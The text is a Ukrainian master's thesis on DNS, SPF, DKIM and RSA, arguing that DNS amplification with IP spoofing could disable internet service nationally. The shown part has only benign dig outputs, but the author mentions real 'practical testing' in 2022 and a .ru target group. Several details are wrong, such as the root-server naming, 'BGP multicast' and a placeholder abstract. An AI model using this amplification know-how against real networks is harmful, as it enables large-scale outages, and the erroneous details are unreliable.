

МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ
ДЕРЖАВНИЙ ЗАКЛАД «ЛУТАНСЬКИЙ НАЦІОНАЛЬНИЙ УНІВЕРСИТЕТ
ІМЕНІ ТАРАСА ШЕВЧЕНКА»

Навчально-науковий інститут математики та інформаційних технологій

Кафедра математики та інформатики


Кравченко Костянтин Володимирович

**ДОСЛІДЖЕННЯ ТА ОПТИМІЗАЦІЯ ПРОТОКОЛІВ ІНТЕРНЕТ-
З'ЄДНАНЬ**

Кваліфікаційна робота

другого (магістерського) освітнього рівня

зі спеціальності 122 «Комп'ютерні науки»

Особистий підпис – 

Науковий керівник –  д-р філософії В.Ю. Козуб

В.о.зав. кафедри –  д.т.н., проф. Ю.Г. Козуб

АНОТАЦІЯ

Кравченко К.В.

Тема: Дослідження та оптимізація протоколів інтернет-з'єднань

Спеціальність: 122 „Комп'ютерні науки”

АНОТАЦІЯ ДЗ ЛНУ імені Т. Шевченка, 2025р. Магістерська робота містить: 68 с., джерела.

Об'єкт дослідження – Сервісні протоколи мережі інтернет.

Предмет дослідження – протокол DNS (Domain Name Service) та супутні сервісні протоколи.

Мета роботи — Огляд історії появи протоколу DNS, оцінка оптимальності базового протоколу. Огляд історії введення в нього додаткового функціоналу, призначеного для вирішення супутніх викликів, що постали перед мережею пізніше, оцінка оптимальності цього функціоналу. Доведення не оптимальності та висвітлення закладених дефектів з поясненням потенційних масштабів небезпеки для функціонування мережі інтернет.

Висновок — доведено що в поточній реалізації розширень протокола DNS (та деяких інших сервісних протоколів) закладені вразливості, що дозволяють зловмиснику паралізувати роботу мережі інтернет в масштабах окремої країни і навіть всього світу. Розгляд можливих стратегій реалізацій атак зловмисником.

Ключові слова - DoS, DdoS, udp, spoofing, amplification, Ipsec, DNSsec, SPF, RSA.

ABSTRACT

Kravchenko K.

Subject: Research and optimization of Internet connection protocols
Computer Science 122 „Computer Science”.

Install: text text text text text text text text text text text. The master's thesis consists of: 68 pages, 32 figures, 12 tab., 3 applic., 63 sources.

Object of research: Internet service protocols.

Subject of research: DNS (Domain Name Service) protocol and related service protocols.

Conclusions. It has been proven that the current implementation of DNS protocol extensions (and some other service protocols) contains vulnerabilities that allow an attacker to paralyze the operation of the Internet on a country-wide or even global scale. Consideration of possible attack implementation strategies by an attacker.

Keywords: DoS, DdoS, udp, spoofing, amplification, Ipsec, DNSsec, SPF, RSA.

Глосарій

(перелік умовних позначень, символів, одиниць, скорочень і термінів)

IP — Internet protocol, основний мережевий протокол, що забезпечує адресацію в малих локальних мережах, і маршрутизацію у великих мережах та глобальній мережі інтернет.

ICMP - Internet Control Message Protocol, мережевий протокол, який стандартизує діагностичні службові повідомлення, що використовуються для діагностики мережі.

TCP - Transmission Control Protocol, основний транспортний протокол у стеку IP протоколів, забезпечує надійну, впорядковану та гарантовану доставку даних між двома вузлами мережі. Початково вимагає встановлення з'єднання між двома адресами, до початку передачі даних.

UDP - User Datagram Protocol, альтернативний транспортний протокол у стеку TCP/IP, який забезпечує максимально швидко, але ненадійну передачу даних без попереднього встановлення з'єднання.

DNS - Domain Name System — В залежності від контексту протокол, або автоматизована система, що забезпечує підтримку безперебійної роботи цього протоколу в мережі. Функціонал полягає в перетворенні зручних для користувача доменних імен (наприклад, google.com) у IP-адреси (наприклад, 142.250.109.138).

Публічний DNS сервер — сервер який згоден обслуговувати запити, що потребують рекурсивних уточнень від будь-якого клієнта.

Авторитетний DNS сервер — сервер який відповідає за підтримку роботи конкретного домена (зони) мережі інтернет.

SPF - Sender Policy Framework, механізм що базується на протоколі DNS і дає можливість для кожного домена обмежити список довірених мереж або окремих IP адрес, з якого дозволена відправка email з такої зворотньої адресою. Введений для запобігання надмірному спаму.

Спам (spam) — це небажані, масово розсилені повідомлення, найчастіше рекламного або шахрайського характеру. Історично походить від "Spiced Ham" (гостра шинка), армійські консерви, залишки яких після другої світової війни розпродавалися в США дуже нав'язливою та часто повторюваною рекламою.

DKIM - DomainKeys Identified Mail технологія автентифікації (підтвердження справжності) email листа, яка дозволяє домену криптографічно підписувати вихідні листи, а отримувачу — перевіряти підписи без можливості їх підробити. Частково базується на протоколі dns.

Email Spoofing — підробка зворотньої адреси email листа. Широко використовувалося у спамі та фішингу.

IP Spoofing — Підробка зворотньої адреси при передачі IP пакета. Вкрай небезпечна в поєднанні з використанням методу ампліфікації (підсилення на транзитному вузлі).

Amplification — підсилення. В контексті даного дослідження це ситуація, коли публічний сервіс, що підтримує зв'язок за допомогою протоколу udp на короткий udp запит відповідає кратно більшим пакетом, або кількома пакетами даних.

RSA — всесвітньо визнаний протокол асиметричного шифрування, що використовується в тому числі для створення електронних підписів.

Асиметричне шифрування — тип алгоритму коли для прямого і

зворотнього перетворення використовується однаковий алгоритм, але різні (комплементарні) ключі.

TLS — (transport layer security) нащадок більш відомого, але вже кілька десятиліть як застарілого протокола ssl. Коротко суть полягає в тому, що початково створюється шифроване підключення, що емулює простий канал передачі даних, і підслуховування та підробка передаваних даних екстремально ускладнена, і без додаткових даних (або наявності квантового комп'ютера) неможлива.

ДСТУ 4145-2002 — українська паралельно стандартизована розробка методики створення електронного підпису за допомогою еліптичної кривої в полі Голуа.

Також поширені в світі реалізації подібної математики — ECDSA та EdDSA (RFC 4492, RFC 5480, RFC 8032)

Приблизно суть можна описати так — на дуже великому скінченному полі малюється в цілих числах графік еліптичної кривої, а після цей простір складається в багато разів, так наче графік намальований на прозорій плівці, і при складанні плівки в багато разів накладається сам на себе. Отримане поле аргументів-значень і використовується для перетворення даних на зашифрований потік або електронний підпис.

Головний плюс — Ed448 при довжині ключа 224 біт має кріптографічний рівень безпеки на рівні довжини ключа RSA в 15360 біт. І відповідно має значно більш короткий, але кріптографічно більш надійний підпис.

Зміст

Вступ	9
Розділ 1	11
Постановка задачі	11
Коротка історія виникнення інтернет та протоколу DNS	11
Канали зв'язку та технічні умови в яких створювався DNS.....	13
Рекурсивний та кешуючий принцип дії DNS.....	15
Публічні та авторитетні NS	18
Перше небезпечне доповнення протоколу DNS	18
Епоха спаму	19
Антиспам за допомогою SPF.....	20
Антиспам за допомогою DKIM.....	21
Проблема розміру підпису RSA і шлях вирішення	22
Методика отруєння кеша DNS, ip-spoofing, dns-spoofing.	26
Небезпечне покращення безпеки DNS №4 : DNSsec.	28
Використання DNS аутентифікації і справжні кейси небезпечної ампліфікації.	30
Ip spoofing та ампліфікація.....	32
Розділ 2.....	34
Проміжні результати аналізу	34
Практичні підрахунки ампліфікації на прикладах.	34
Список доменів ru, отримання фокус-групи.	36
Статистичний аналіз проблеми	38
Чи все насправді настільки погано	39
Продуктивність авторитетних DNS серверів.	40

Можливі стратегії і огляд нанесеної шкоди.....	40
Максимальний теоретичний множник, axfr.....	41
Notify.....	44
Реалізація генерування spoofed запиту на python.....	44
Відмова від пайтон заради гнучкості.	45
Приклад реалізації на bash + tcpreplay	46
Частина 3	49
Остаточні висновки з аналізу протоколу DNS.....	49

Вступ

Важко переоцінити важливість безперебійної роботи мережі інтернет в сучасному світі. На цей час інтернет став однією з ключових інфраструктур, що визначає розвиток суспільства. Він пронизує практично всі сфери життя — від економіки та науки до освіти й побуту.

Мережа інтернет є базою для комунікації та зв'язку. Соціальні мережі, голосіві та відео дзвінки є невід'ємною частиною бізнесу та навчальних процесів. Крім дзвінків бізнес використовує онлайн банкінг, платежі за допомогою кредитних карток, автоматизованої електронної комерції.

Від роботи інтернету залежить велика кількість державних послуг, в першу чергу Дія, а також різноманітні онлайн реєстри.

Також транспорт, енергетика, медицина. Навіть прибиральники в сучасному світі перетворилися на клінінгові агенції, що приймають замовлення та координують свою роботу за допомогою інтернету.

Не варто також недооцінювати важливість “інтернету речей”, що включає в себе віддалене керування системами починаючи від wifі розетки в будинку і закінчуючи станками з числовим керуванням на виробництві, та військовою технікою з віддаленим керуванням.

Тож безумовно масштабна аварія мережі інтернет в масштабах країни, або ж цілого світу відкидає нас назад у 20-те століття, до паперових документів і величезних архівів. Але на даний момент велику кількість архівів просто знищено, бо їх замінили електронні реєстри, та й до тих паперових архівів що залишилися отримати швидкий доступ неможливо, бо для цього потрібна велика кількість навчених робітників.

Тому в більшості випадків колапс продовжується до моменту коли ІТ спеціалісти не відновлюють проблеми мережі або конкретного сервіса (сайту, реєстру, таке інше.)

Основним сервісним протоколом мережі інтернет є DNS, що дозволяє користувачу оперувати не 4-х числовими IPv4 адресами, а зручними доменними іменами. Це дуже розгалужена система, за роботу різних частин якої відповідають різні провайдери зв'язку, хостинг-провайдери та окремі керуючі організації (такі як ТОВ Хостмайстер у випадку України).

Об'єктом дослідження в даній роботі є саме сервісний протокол DNS.

Мета роботи — аналіз стійкості протокола DNS в сучасних реалізаціях та реаліях практичного використання до зовнішніх шкідливих впливів. Розглянута можливість атаки сегмента мережі інтернет за допомогою поєднання методики ір-спуфінгу з ампліфікацією трафіка на публічних та/або авторитетних серверах DNS, оцінені можливі масштаби атаки та масштаби завданої в результаті використання різних стратегій атаки шкоди.

Практичне значення дослідження — спробувати пришвидшити відмову від застарілих, але підтримуваних (legacy) небезпечних опцій використання протокола DNS.

Особистий внесок полягає спонтанному виступі на конференції UADOM 1 в 2011 році (коли урочисто генерувалися ключі dnssec для домену UA) з поясненням недоліків запропонованої до реалізації системи. Але підтримки від інших учасників конференції тоді не отримав. А також провів деяке “практичне тестування” методики навесні 2022 року.

Розділ 1

Постановка задачі

Розглядаючи систему DNS як інформаційну систему (ІС), сформулюємо набір вимог і характеристик, на які варто звернути увагу і провести експертну оцінку якості реалізації в заданому контексті та оцінимо важливість окремих вимог на поточний момент, та у ретроспективному аспекті.

Тож формулюємо набір вимог та характеристик, і починаємо знайомитися з історією мережі інтернет, щоб зрозуміти в яких технічних умовах цей протокол був сформульовано.

Важливими характеристиками та вимогами до даної ІС я вважаю:

Продуктивність. З підпунктами низька латентність (час відповіді) , висока пропускна здатність (QPS, запитів на секунду), лаконічність.

Доступність. Відмовостійкість.

Забезпечення цілісності та несуперечливості (автентичності) даних. Як під час випадкових помилок в середовищі зберігання та передачі даних, так і під впливом цілеспрямованих шкідливих дій.

І зважаючи на обраний для роботи DNS транспортний протокол UDP — специфічна для цього протокола властивість — множник ампліфікації трафіка.

Коротка історія виникнення інтернет та протоколу DNS

Мережа Інтернет виникла як результат наукових і військових досліджень США у другій половині XX століття. Будова інтернету базується на ідеї створення надійної, стійкої до збоїв розгалуженої

комп'ютерної мережі (паутини, графа з надлишковими зв'язками), яка могла б працювати навіть у разі пошкодження окремих її елементів.

У 1960 році Джозеф Ліклайдер (MIT) висловив ідею «Galactic Network» — глобальної мережі, де будь-який користувач може отримати доступ до даних з будь-якого комп'ютера.

У відповідь на потреби оборони США агентство ARPA (Advanced Research Projects Agency, пізніше DARPA, додалося Defence) створює першу у світі пакетну мережу — ARPANET.²

29 жовтня 1969 року було надіслано перше повідомлення між двома університетами: UCLA і Stanford. Іноді це вважають датою народження Інтернету.

У 1970-х роках Вінтон Серф і Роберт Кан розробили протокол TCP/IP. В 1981 році tcp/ip описані як rfc 791 та 793, але насправді протокол розроблявся ще до того як єдина база rfc (Request for Comments) стала стандартом де-факто. Тому хоча запис RFC #1 датований 1969 роком, tcp/ip став стандартом без опису в rfc, і був включений туди значно пізніше, аж після 10-и років успішного використання стандарту.³

У 1971 році Стівен Крокер (він же автор концепції rfc) опублікував у вигляді RFC 114 першу версію протоколу FTP (file transfer protocol, протокол передачі файлів), що дозволив науковій спільноті зручно обмінюватися різноманітними результатами досліджень та іншою інформацією.

В 1973 році Рей Томлінсон та Абрахам Сільверберг запропонували покращену концепцію, і активний розвиток FTP відбувався до 1980 року з закріпленням основного набору функціонала в RFC 765.⁴

Комп'ютери (хости) тоді мали лише — 4-х числові ір адреси, щоб звернутися до конкретного хоста потрібно було точно пам'ятати цей його цифровий ідентифікатор.

1 січня 1983 року ARPANET повністю перейшла на TCP/IP — ця дата вважається «офіційним днем народження сучасного Інтернету».

І в 1983 році зроблено першу реалізацію протоколу DNS, що дозволив не запам'ятовувати ір адреси, а перейти на використання текстових доменних імен. Власне ще до появи системи DNS в мережі arpanet для використання текстових імен використовувався текстовий файл HOSTS.TXT який якось намагалися підтримувати в актуальному стані і взаємно синхронізувати зміни між різними комп'ютерами. Всі складнощі з підтримкою актуальності і затвердженням змін цього файлика і призвели до появи протоколу DNS що був спроектований вже як ієрархічна система з можливістю швидкого делегування ієрархічних доменних зон та розподілу повноважень між адміністраторами цих зон. 56

Лише в 1989 році уряд США дозволив комерційне використання інтернет, і в цей час з'являються протоколи передачі веб-сторінок http та мова розмітки сторінки html, з можливістю використовувати гіперпосилання.

З цього моменту інтернет отримав мінімально необхідний для масового поширення функціонал. В проміжку 1990-2000 рік з'являються перші графічні браузері (mosaic та netscape), перші пошукові системи (AltaVista та Yahoo!), що надало розвитку інтернету вибухоподібні темпи.

Канали зв'язку та технічні умови в яких створювався DNS.

DNS був створений в 1983 році.

В тому ж 1983 році лише тільки був прийнятий стандарт **IEEE 802.3** IEEE 802.3 (10BASE5) 7, що дозволив отримати локальні мережі з великою на той момент швидкістю 10 мегабіт. Але це локальні мережі, в глобальних мережах швидкості були значно, а для кінцевих споживачів на телефонному зв'язку — катастрофічно нижчими.

Для домашніх абонентів, що отримували доступ до мережі через телефонні канали:

1980 рік — поява стандарту V.22, 1200 біт на секунду.

1984 рік — V.22bis, 2400 біт на секунду

1987 рік — V.32, 9600 біт на секунду. 8

На досить довгий період стандарт V.32 залишався найшвидшим варіантом передачі через телефонну лінію, хоча теорема найквістакотельникова вказувала на те що теоретична межа близько 64kbps.

1991 рік — V.32bis зі швидкістю 14400

1994 рік — нарешті опублікований стандарт V.34, що подвоїв швидкість, до 28800 і наблизив до теоретичної межі. 9

Для передачі використовувалася TC-QAM — Коди Трелліса-Вітербі на квадратурній модуляції.

Було визначено 1024 символа (сузір'я) що передавалися, таким чином за один символ передавалося 10 біт. У випадку помилки (прийшов не валідний символ) — символ пересилався повторно, або знижувалася швидкість.

1996 рік — V.34 bis незначні покращення до 33600, і це виявилось максимумом для симетричного з'єднання на аналоговій лінії.

1998 рік — V.90 — протокол що досяг максимуму можливостей телефонних ліній. Працював за 2-х умов: клієнт мав підключення до порта цифрової АТС та провайдерське обладнання було останнього

покоління, що підключалося до телефонної мережі 2-х мегабітним цифровим потоком PRI. Дані до клієнта передавалися в режимі PCM (pulse code modulation) і вимагали точної синхронізації таймерів модема, а також провайдерського обладнання, та точного визначення перехідних характеристик лінії. Від клієнта передача виконувалася з квадратурною модуляцією на кодах Вітербі, як і у v.34. Теоретична швидкість 56000, на практиці не більше за 52000, і лише до клієнта. Від клієнта зазвичай 28800.

Затримка між відправкою пакета і відповіддю на нього в ті часи могла легко перевищувати секунду. Тож, коли DNS створювався - особливу увагу приділяли його швидкодії та лаконічності повідомлень, і він був описаний як протокол (сервіс) що в якості мережевого протоколу передачі даних використовує транспортний протокол UDP, який не вимагає попереднього встановлення з'єднання, бо це встановлення попереднього з'єднання додатково сповільнювало б кожне звернення до ftp хоста або www сторінки на секунду або більше. Протокол був максимально легковісним, лаконічним, і чудово відповідав викликам свого часу. Це був беззаперечний прорив, що обумовив зручність і вибуховий розвиток інтернету.

З огляду на те що перші версії протоколу dns формувалися в умовах дуже повільних каналів (1200 біт на секунду для домашніх користувачів) з великими затримками передачі — стає очевидним що максимум зусиль розробників було витрачено на те, щоб максимізувати саме швидкодію протоколу і зробити його максимально лаконічним. Коли перед розробниками поставали якісь альтернативи і треба було робити вибір — вони кожен раз обирали в першу чергу з огляду на швидкодію, а не на потенційну безпеку та інші вимоги до абстрактної інформаційної системи. Таким чином була закладена деяка кількість підводних каменів, які спричинили серйозні проблеми, такі як отруєння кеша DNS.

Рекурсивний та кешуючий принцип дії DNS.

Коли кешуючий dns сервер вперше вмикається і його кеші пусті — він має лише інформацію про так звану рутову (кореневу) зону dns — неписану крапку в кінці доменного імені.

Рутову (кореневу) зону dns підтримують 13 серверів, що мають назви від a.root-servers.net. по h.root-servers.net., і в dns сервері одразу в стартовому конфігураційному файлі записані їх ір адреси. Серверів насправді значно більше, в кожного сервера є брати-близнюки з тою ж ір адресою, і запит відправляється до найближчого завдяки технології BGP multicast. 10

Наприклад нас цікавить домен du.luguniv.edu.ua. Аналіз доменного імені починається в зворотньому порядку, з хвоста. Тобто посилаємо в один з випадковим чином обраних кореневих dns серверів запит “що відомо про домен ua” ?

Dig any ua

```
;; ANSWER SECTION:
ua.                10801 IN      SOA   in1.ns.ua.  domain-master.cctld.ua.  2025122133
1818 909 3024000 2020
ua.                10801 IN      RRSIG SOA      13      1      10801      20260125151503
20251221134503  2952 ua.  oEdpz5n9UiGxySocBDM5vXDgj5cWbxpsWt/QoWkbKaLdPIKoGbjPSAmm
OnpY6k9myzDMH/hltUSFOt2f5f3Blw==
ua.                10801 IN      NS    nn.ns.ua.
ua.                10801 IN      NS    pch.ns.ua.
ua.                10801 IN      NS    in1.ns.ua.
ua.                10801 IN      NS    rcz.ns.ua.
ua.                10801 IN      NS    bg.ns.ua.
ua.                10801 IN      NS    cz.ns.ua.
ua.                10801 IN      NS    ho1.ns.ua.
```


ua. 10801 IN RRSIG NS 13 1 10801 20260117164501 20251213151501
2952 ua. fzRAqRUdBSG3LqLELwzYaU8NmeYyMkcjqFDzSOjQa+HvzWrKz4NYWq9B
y41R76c25qf5NCTy2Jr9Qk1P8OqNMQ==
ua. 10801 IN MX 10 mr.kolo.net.

```

ua.                10801 IN      RRSIG  MX 13 1 10801 20260117164501 20251213151501 2952
ua.                5TBREfcG5Y9xDX8QJQWMg08ovL5jMuBKOLpXTPgSwmOWsqAR/PSK7BBL
r8BY9H7rqhDlXEX748AO0hbWdVfk0g==
ua.                10801 IN      TXT    "ua.pub.ds 2025-12-21T15:06:01Z ho-to 73"
ua.                10801 IN      TXT    "$Id: ua.,v 1.1756 2025/08/14 00:16:24 root Exp root $"
ua.                10801 IN      TXT    "ua.priv 2025-12-21T15:04:01Z ho-to 25116"
ua.                10801 IN      TXT    "ua.pub 2025-12-21T15:06:01Z ho-to 81"
ua.                10801 IN      TXT    "ua.priv.ds 2025-12-21T15:04:01Z ho-to 86"
ua.                10801 IN      RRSIG  TXT 13 1 10801 20260125151501 20251221134501 2952
ua.                rdZ8KWtdQ8BFxlyuQoHv9y5xwhFF+2hCc8xKrqjKT7L+AUad/PMVSvHC
d86k1VP73eEetOVvMUPljp9YtXRPoQ==
ua.                21600 IN      DNSKEY  256          3          13
ToAWAk6Nal+TXKLBnguk+Vib/kMekY6wlQMSOz4CKk22loim+N5iMQ7a qmQLEp9NrZWgMil+BCZfCb3naLxlcw==
ua.                21600 IN      DNSKEY  257          3          13
V6YnvaRQgFD2lXLT2unDNCuO9SikSvHwKVmuLQaQxf7YfOBB+4YIXsu5 WsURJRd/HYyhS1mQEwcVlXAhFI+y1Q==
ua.                21600 IN      RRSIG  DNSKEY 13 1 21612 20260119224502 20251215211502
51024              ua.          tN7kOG4CUaPhravJpKKNnUfSy1bFCbK3wW+nxb9VFXJTMim4DLHNtKTg
TfBKBCbhKgHrk441WsjZqVFMMR7JiA==
ua.                2020 IN      NSEC3PARAM 1 0 0 -
ua.                2020 IN      RRSIG  NSEC3PARAM 13 1 2020 20260117164501
20251213151501 2952 ua.      W1+3rUzSclek2D9HH0Ae0gO3W/kFqa+HUbndUYhj/2ZGEWpY7qmsi08J
Edxmzs9lDXAJ/25VmGJ/uaroIdaPhA==

```

У відповідь на дуже короткий запит ми отримали великий пакет інформації, в якому наведені дані про ns-сервери що можуть відповісти щодо більш глибоких уточнюючих запитів (щодо edu.ua, в нашому прикладі), час зберігання даних в кеші, підписи, які дозволяють перевірити правильність отриманих даних за допомогою ключа, що зберігається в рутовій зоні та ключі, якими можна перевірити підписи відповідей більш глибоких серверів.

Як ми бачимо відповідь на порядок довша за запит, і небезпека такої поведінки протокола буде пояснена нижче, в главі про ампліфікацію.

Публічні та авторитетні NS

Авторитетні NS це ті сервери імен, на які покладена відповідальність за обслуговування певної доменної зони.

Авторитетність надається ієрархічно, тобто кореневі NS статично записані зі своїми ір адресами в конфігурації будь якого DNS сервера. Вони можуть надати по запиту список серверів з їх ір адресами, що відповідають за зону UA.

А ті, в свою чергу, можуть дати відповідь хто відповідає за зону EDU.UA і так далі, по ланцюжку. Щоб не ті ж самі повторювати запити кожен раз — дані кешуються на деякий вказаний у відповіді час. Наприклад дані щодо регіонального домена UA кешуються на 172800 секунд (2 доби).

Публічні сервери приймають запит від клієнта і починають рекурсивно виконувати запити, починаючи з корневих серверів, щоб дати своєму клієнту лаконічну відповідь, співставивши доменне ім'я та ір адресу.

У публічних серверів може бути додатково обмежена мережа, яку вони обслуговують. Також функціонал може бути гібридним — публічний сервер може бути одночасно авторитетним для якоїсь зони (домена).

Перше небезпечне доповнення протоколу DNS

На 1987 рік в протоколі був доданий нюанс що одному доменному імені бути поставлено у відповідність кілька IP адрес. В запиті до сервера передається доменне ім'я, а повертаються всі адреси, і програма абонента (зазвичай браузер) сама випадково обирає з списку до якого з них звертатися цього разу. 11

Максимальну кількість ір адрес в стандарті вказано не було, в конкретних програмних реалізаціях софту обмеження було в 255, а іноді і більше.

Це було зроблено для балансування навантаження між кількома хостами, коли не вистачало продуктивності одного хоста (або його каналів). А також як примітивний і недосконалий метод відмовостійкості: якщо не отримав сторінку з першого разу - натисни F5 і браузер повторить запит, ймовірно з іншого сервера.

В чому полягає небезпечність — буде пояснено пізніше, в главі ампліфікація.

Епоха спаму

Вибухоподібний розвиток мережі і повальне користування email призвело до появи такого явища як spam. Слово спам пішло від словосполучення Spiced Ham (гостра шинка). Після закінчення другої світової війни США мали великі запаси цього продукту, створені для армії, але аммія їх вже не потребувала, тож складські запаси розпродавалися населенню за допомогою дуже нав'язливої реклами. Запаси були розпродані і про спам майже забули, але у 1970 році британське комедійне шоу *Monty Python's Flying Circus* показало скетч, у якому в кафе меню майже всього

складається з *Spat*, а група вікінгів постійно повторює слово «Spat, Spat, Spat...». Ця надмірна повторюваність стала метафорою для

нав'язливого, що заглушає іншої інформації. 12 Кожен міг при налаштуванні свого поштового клієнта вказати будь-яку зворотню адресу, навіть bill.gates@microsoft.com. Перевірка зворотньої адреси не була передбачена реалізацією поштового протоколу smtp, і це викликало навалу спочатку рекламних листів, а за ними і шахрайських на всіх скриньках, що були згадані на веб-сайтах і потрапили в публічний доступ.

Були створені сервіси блокування небажаних листів від хостів “з поганою репутацією” по скаргам (DNSBL) та сервіси аналізу листів по ключовим словам (в ті часи туди в першу чергу потрапляло слово viagra).

Але без появи централізованого стандарту — битву зі спамом виграти було неможливо. І цими 2-ма стандартами стали спочатку SPF, а слідом DKIM.

Антиспам за допомогою SPF

Стандарт SPF (Sender Policy Framework) визначив спосіб описування списку довірених хостів, що мали право відправляти листи з зворотньою адресою цього домена. 13 І кожен отримувач листа (сервер) міг звернутися до dns серверу, що підтримує цей домен з запитом на цей опис. Щоб згідно цієї інформації зробити висновок — чи підтверджений відправник цього листа.

У вигляді першого прототипу опублікований ще в 2006 році, але довгий час він був опублікований як “proposed standart”, а не рекомендований до повсякденного використання, і лише в 2014 році отримав статус повноцінного стандарту, рекомендованого до використання.

Наприклад для microsoft.com опис цього рядка наразі виглядає так:

```
microsoft.com.      3146  IN      TXT      "v=spf1      include:_spf-a.microsoft.com      include:_spf-  
b.microsoft.com include:_spf-c.microsoft.com include:_spf-spg-a.msft.net include:_spf1-meo.microsoft.com -  
all"
```

Як бачимо рядок досить довгий, що може забезпечити ампліфікацію. Але в більшості доменів він значно коротший, і навіть в цьому випадку дуже довгий список правил грамотно розкладений по п'яти інклюдам (включенням), а не повертаються одним величезним списком. Тож протокол SPF в цілому корисний і лаконічний, а проблемний рівень ампліфікації створюється досить рідко.

До недоліків spf можна віднести те, що дані про нього зберігаються на самому домені (example.com), а не на додатковому записі-селекторі (_spf.example.com), тож одним запитом можна отримати багато txt записів що зберігаються в одному домені.

Зважаючи на вирішену глобальну проблему поштового спама — цей протокол свою місію виконав відмінно.

Антиспам за допомогою DKIM

Другим потенційно небезпечним розширенням став протокол DKIM 14, також наплаваний на боротьбу зі спамом: листи отримували електронний підпис за допомогою криптографічного механізму RSA, за допомогою закритого ключа. А отримувачі листа могли отримати комплементарний (відкритий) ключ за допомогою протоколу DNS і перевірити цей підпис (без змоги його підробити).

Приклад відповіді на dns запит, з ключем для перевірки:

```
v=DKIM1; h=sha256; k=rsa; "
```

```
"p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs6S6G9SFDaxJ3IACxDvby8shs9nOZcYJ3eRmC7nJdkT
```

Wx/uKpZuaoZSNYIZxXFWP0SUNoWwle7I3aRPanhkntrdQ9iyD59CbofvlygREMEnm8szv1qovd2rnYC41gCY9olAnq
TyskXpCwM2oHWmpE/igC0K4hhR9I0FqKojlXJXf8o5+E/

FS27PB3ZtQQC9JLV0mzST2AbamyVbmnLKlatnXFWtZQnl96JUpetq4t1b4ppodO9uoF/wz59V/d9j
LLY8FP235fRC0qH+95Tel/4lY/4aZUsEEEs7LNrnQ8Jgav9ByK22g3m+gKnnrKiyQIDAQAB

Як бачимо знову ж таки рядок довгий, і це обумовлено використанням механізму шифрування RSA, в якому на зараз промисловим стандартом є ключі довжиною 2048 та 4096 біт.

SPF та DKIM дозволили значно зменшити кількість спаму в мережі, і свою функцію вони виконали вдало. Взагалі це приклади дуже добре пропрацьованих протоколів над якими працювала велика група людей.

Небезпека від DKIM могла набути істотних масштабів при використанні ключів 8192 біт, але на щастя повільне генерування цих ключів зупиняє більшість користувачів, і вони обмежуються довжиною 2048. Навіть 4096 зустрічається рідше. Крім того завдяки пропрацьованості протоколу DKIM ключі зазвичай зберігаються в базі dns таким чином, що отримати їх разом з іншими TXT записами не можна.

Селектор ключа DKIM за загальною специфікацією має бути індивідуальним, можливо випадково згенерованим, і передаватися в тілі листа, який треба перевірити. Тож в загальному випадку можна налаштувати DKIM так, що не вийде отримати ключі для перевірки, доки ви не отримали листа з цього домена з вказівкою де точно (за допомогою якого dns запити) брати ключі для криптографічної перевірки.

Але існує “загальна практика” (що базується не на повному читанні RFC а на освоєнні спрощених howto) називати селектор DKIM або mail або default. Це не є явним недоліком протоколу, це звичайна людська лінь.

Також до недоліків можна віднести пряму рекомендацію використовувати для підписування листа алгоритм RSA, і рекомендацію використовувати довгі ключі. Але це можна виправити переходом на інші алгоритми шифрування та хешування.

Перевірочний запит на отримання ключа DKIM для домена gosuslugi.ru з одним з 2-х типових селекторів (default або mail)

dig TXT mail._domainkey.gosuslugi.ru

mail._domainkey.gosuslugi.ru. 600 IN TXT

"v=DKIM1;k=rsa;p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA vWTeRa10RQgHG/8DnVTBR8FOpa8RQ53/HGPil4y8E9B2A3TS+JSVNne0yMGKUDxJrJqGbBGyK51LD8ZNVorltf1dMtdsd/641Mmt9xL6sxmaoMUgDZa9dlejRvhD/rk2oR5b4WWg4CT4AwD8C+FV1i+oyXbGAZ2ootQOa3zTMNMI2/m+Z0xkRoE9KqYy9FuHe5y" "UbTAqKyqdobGcxDNANO1X1sYVp2mMNF++wxU1Yk/5cyXwz3VOCQikrtV1WJvZrBK//VQZirTQj1FB9vlzMhcVWcRlzXtP0me7D43r/XJPLghDRXz8/ntFU/NbOpPSaveC+aHL8kj8dUcxM6w8DQIDAQAB";

Ключ є. Довжина відповіді лише 455 символів, а сам ключ — 2048 біт. Як окремий запит ампліфікація не дуже велика — менше за 10. Є теоретична можливість зібрати повні дані по домену в одну відповідь, що буде описано нижче.

Проблема розміру підпису RSA і шлях вирішення

RSA описаний в RFC8017 15 це набір алгоритмів під різні задачі (обмін ключами, електронні підписи, блочне та поточкове шифрування), але всі вони об'єднані спільним основним перетворенням. Всі сучасні математичні методи криптографії базуються на принципі обчислювально-незворотнього перетворення. З життя можна навести наочний приклад: розбити молотком механічний годинник максимально просто, а відремонтувати його неймовірно складно. В математиці множення обчислюється простіше ніж ділення, піднесення до квадрату виконати

значно простіше ніж обчислення квадратного кореня, а алгоритм RSA базується на математичній складності розкладання дуже великого числа на 2 також великих множники. Причому для нормальної криптостійкості цього алгоритму множників має бути саме два, тобто кожен множник зобов'язаний бути простим числом.

Як наслідок - в цього асиметричного крипто алгоритму присутня деяка “проблема росту” — він на зараз недостатньо надійний (підлягає практичному дешифруванню) на коротких ключах. На одному сучасному процесорі ключ довжиною 512 біт розкладається (факторизується) за час близько року. На середніх ключах (1024 біти) і на тепер працює досить надійно, але були свого часу видані рекомендації використовувати ключі довжиною 2048 біт та (що важливо) більше, тобто 4096.

Для електронного підпису в загальному випадку діє правило, що довжина підпису відповідає довжині ключа, тому перехід на ключі 4096 біт збільшить розмір підписів у 8 разів, відносно ключа 512 біт. Інтуїтивно очікується що додавання кожного наступного біта подвоює кількість можливих комбінацій, і в 2 рази збільшує надійність алгоритму.

Але для цього алгоритму це не так, а причина в тому, що для генерації ключа беруться 2 великих простих числа p і q і множаться між собою, точніше обчислюється функція ейлера $(p-1)(q-1)$. І нюанс полягає в розподілі щільності простих чисел на числовій вісі: на початку числової вісі ми маємо в першій десятці 2,3,5,7 — аж 4 простих числа. В наступній десятці — 11, 13, 17, 19 — також 4 простих числа. Але в проміжку між 80 та 89 простих чисел лише 2, а між 90 та 99 — лише одне просте число.

Чим більше ростуть числа, що ми їх перевіряємо на простоту, тим рідше зустрічаються нам нові прості числа.

Так в проміжку від 1 до 1000 ми маємо 168 простих чисел.
Від 1001 до 2000 — 135.

в від 100 тис до 101 тис — 81

а від 1 млн до 1 млн 1 тис - 75

Кожен раз розглядається рівний проміжок в 1000 чисел.

